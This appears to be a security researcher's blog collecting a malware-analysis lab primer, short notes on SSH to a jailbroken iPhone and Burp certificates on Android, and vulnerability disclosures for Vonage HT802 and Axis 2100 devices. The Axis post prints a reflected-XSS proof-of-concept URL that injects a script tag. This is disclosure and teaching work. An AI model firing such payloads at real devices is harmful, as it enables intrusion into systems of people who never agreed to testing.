Getting started with malware analysis

I’ve been exploring high-level malware analysis over the past few weeks.  This post is a collection of thoughts and learnings from exploring this area of research.

Analysis Lab

First things first, you need to setup a lab environment off of your production network to analyze malware samples.  I recommend using a virtual machine to acomplish this wether that is virtual box or VMware.  You will need a Windows machine running Windows 7 or later depending on your needs.

I have opted for setting up the FLARE VM on Windows as it includes a plethora of utilities to get you started.  A number of which I will be breifly discussing in this post.

Make sure to create a snapshot of a clean state once you have your analysis VM configured.  You can restore this snapshot when you have completed an analysis session or need to update your system and tools.

It is important to ensure your VM is set to host-only mode when doing analysis to ensure the malware cannot connect to its C2 server or other machines on your network.  This will prevent the malware from doing malicious operations that you will want to prevent when analyzing its inner workings.


Setting up FLARE VM is straight forward and to this point the only set of tools I’ve explored on this journey.  Download the installer from and follow the instructions in  This will transform your Windows VM into a malware analysis machine giving you the utilities you need to perform both static and dynamic analysis of malware samples.

PE File Format

Windows executables use the portable executable file format, also called the PE file format. These files contain the information required by the Windows loader to manage the wrapped executable code. The file begins with a header that contains information about the code, type of application, required library functions, and space requirements. Reviewing the PE file for this information gives us a great look at what the program may do. Looking at the required libraries and functions can give hints as to the functionality of the application. Reviewing space requirements may indicate if we are dealing with a packed executable. This is a good place to start when doing basic static analysis.

The four commonly found file sections include the following:

    • .text
      • Contains the instructions that the CPU executes
      • This should be the only section that can execute
      • Other sections include supporting information
    • .rdata
      • Contains import and export information
      • Can also be used to store other read-only data
      • Sometimes different compilers will create a .idata and .edata for import and export information
    • .data
      • Contains global information accessible from anywhere within the program
    • .rsrc
      • Contains resources used by the application such as icons, menus, images, and strings.

Packed Executables

While exploring your malware samples you may encounter packed executables.  This is fairly common for malware authors to pack executables for both obsucaction and to avoid detection by scanners.

A couple tips on detecting if you are working with a packed executable.

  • Running strings returns no human readable text
  • The import address table is very sparse
  • Section headers have declared sections with RAW Size of 0

When you encounter a packed executable there are a few tools included in the FLARE VM to help you unpack the exe.

Take a look at the following utilities to get started.

  • die
  • peid
  • CFF Explorer (supports UPX unpacking)

Tools for Basic Static Analysis

  • PEView
  • Resource Hacker

Tools for Basic Dynamic Analysis

  • Sysinternals
    • tcpview.exe
    • procmon.exe
    • procexplorer.exe
  • Network monitoring
    • FakeNet-NG
    • Wireshark


I’m going to dive a bit into FakeNet-NG as I found it particularly useful.  FakeNet-NG is a dynamic network analysis tool for malware analysis.  It allows you to intercept and redirect all or specific network traffic while simulating legitimate network services.  What does this mean? While you are running in host-only mode on your VM, the malware cannot reach out to its C2 server or other network services.  FakeNet-NG steps in and provides network services for the malware to communicate with providing fake network connectivity for your malware sample. During this process, FakeNet-NG will create a pcap file of all the traffic captured during the execution of the malware sample allowing you to dig deeper into what C2 servers or other network resources the malware is communicating with.  This allows you to profile the malware functionality in safe manor.

For more information on FakeNet-NG visit and read the provided documentation.

I will continue to update this post with additional information as my research progresses.  I hope you found this useful.

Tech Note: SSH to Jailbroken iOS Device (10.2)

You can not connect to ssh over wifi with the 10.2 jailbreak. You need to ssh over USB. They are several options but the easiest is to use iproxy.

  1. Install iproxy
    brew install libimobiledevice
  2. On the terminal run the following command.
    iproxy 2222 22
    This will enable you to forward all traffic from port 2222 to port 22 over USB
  3. Now you can connect to the iPhone by running ssh
    ssh root@localhost -p 2222 

Notice you connect to localhost not the ip address of your phone. If everything went well, you should be presented with the ssh prompt.

Tech Note: Installing Burp Certificate on Android

Note: I have an updated post on installing the Burp certificate on newer versions of Android. See Tech Note: Installing Burp Certificate on Android 9.

After setting up a proxy and configuring a device, normally you can navigate to http://burp and download the certificate for installation.  This did not work for me when running Android 6.0.1.

To install the certificate on an Android device I had to export the certificate from Burp in DER format.  After that I was able to import the certificate without any problems.

Screen Shot 2017-12-12 at 10.35.39 AM

  1. Open Burp
  2. Navigate to Proxy -> Options -> Import / export CA certificate
  3. Select Certificate in DER format
  4. Export the certificate
  5. Copy the certificate to the Android device
  6. Install the certificate by navigating to Settings -> Wi-Fi – More options -> Advanced -> Install certificates
  7. Select the certificate and give it a name

Once the certificate is installed you can proxy SSL/TLS traffic as expected.

Vonage HT802 – Multiple Vulnerabilities

I have disclosed three vulnerabilities in the Vonage (Grandstream) HT802.  I haven’t received a response from Vonage.  These vulnerabilities can be chained to inject persistent XSS in the Basic Settings screen of the device.

Update: I have the following received CVEs for these vulnerabilities:

1.) Cross-Site Request Forgery (CSRF) vulnerability in the login screen (/cgi-bin/login) allows an attacker to log into a target Vonage device. (CVE-2017-165635)

POC Verified in Firefox 56.0 on macOS

2.) Cross-Site Request Forgery (CSRF) vulnerability in the Basic Settings screen allows an attacker to modify system settings. (CVE-2017-16563)

POC Verified in Firefox 56.0 on macOS

3.) Stored Cross-site scripting (XSS) vulnerability in cgi-bin/config2 in Vonage HT802 allows remote authenticated users to inject arbitrary web script or HTML via the DHCP vendor class ID field (P148). (CVE-2017-16564)

POC Verified in Firefox 56.0 on macOS

These three vulnerabilities can be chained to inject a persistent XSS payload into the Basic Settings page.

Axis 2100 Network Camera 2.03 XSS Vulnerability

Update: this has been assigned CVE-2017-15885.

I have found a vulnerability in the Axis 2100 Network Camera running 2.03 firmware.  Vulnerability has been disclosed to the vendor but the camera is no longer supported.

Reflected XSS in web administration portal in Axis 2100 Network Camera 2.03 allows attacker to execute arbitrary javascript via URL.

POC Verified on Firefox 55.0.3:,xxx/view/view.shtml?paramskip=yes&conf_Layout_BGColorEnabled=yes&conf_Layout_OwnBGColorEnabled=no&conf_Layout_OwnBGColor=White&conf_Layout_TextColorEnabled=yes&conf_Layout_OwnTextColorEnabled=no&conf_Layout_OwnTextColor=Black&conf_Layout_BackgroundEnabled=yes&conf_Layout_OwnBackgroundEnabled=no&conf_Layout_OwnBackground=http://&conf_Layout_TitleEnabled=yes&conf_Layout_OwnTitleEnabled=yes&conf_Layout_OwnTitle=%3Cscript%3Ealert('test')%3C/script%3E&conf_Layout_LogoEnabled=yes&conf_Layout_OwnLogoEnabled=no&conf_Layout_OwnLogo=http%3A//&conf_Layout_LinkEnabled=yes&conf_Layout_OwnLinkEnabled=no&conf_Layout_OwnLink=http%3A//&conf_Layout_DescriptionEnabled=yes&conf_Layout_OwnDescriptionEnabled=no&conf_Layout_OwnDescription=&conf_Layout_RelayButtonsEnabled=yes&conf_Layout_AdminButtonsEnabled=yes&conf_Layout_LayoutEnabled=no